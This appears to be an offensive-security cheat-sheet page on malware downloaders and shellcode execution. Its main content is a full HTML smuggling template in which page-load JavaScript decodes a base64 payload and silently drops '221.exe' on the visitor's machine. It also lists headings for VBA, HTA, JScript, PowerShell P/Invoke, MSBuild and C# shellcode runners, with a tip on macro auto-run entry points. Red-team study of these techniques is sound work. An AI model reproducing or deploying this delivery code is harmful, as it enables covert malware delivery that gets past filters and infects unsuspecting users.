πŸ“œDownloaders and Shellcodes

Downloaders

HTML Smuggling

HTML Smuggling Code - Chrome

<html>
    <body>
        <script>
            function base64ToArrayBuffer(base64) {
                var binary_string = window.atob(base64);
                var len = binary_string.length;
                var bytes = new Uint8Array( len );
                for (var i = 0; i < len; i++) { 
                    bytes[i] = binary_string.charCodeAt(i);
                }
                return bytes.buffer;
            }
            
            var file ='AAAAAAAA....' /* Base64 Encoded payload */
            var data = base64ToArrayBuffer(file);
            var blob = new Blob([data], {type: 'octet/stream'});
            var fileName = '221.exe';
            var a = document.createElement('a');
            document.body.appendChild(a);
            a.style = 'display: none';
            var url = window.URL.createObjectURL(blob);
            a.href = url;
            a.download = fileName;
            a.click();
            window.URL.revokeObjectURL(url);
        </script>
    </body>
</html>

HTML Smuggling Code - MS Edge

Utilize - window.navigator.msSaveBlob

VBA Downloader

This template contains Document_Open() which works on Word documents, for this to auto open on excel you should use Workbook_Open() or the usual AutoOpen()

JScript

HTA Downloader

ShellCode Execution

VBA Shellcode Execution

Powershell Shellcode Execution (.NET) via P/Invoke

C -> C# Types

www.pinvoke.net

Powershell Dynamic Invoke

MSBUILD XML

C# Execution via InteropServices

Last updated

Was this helpful?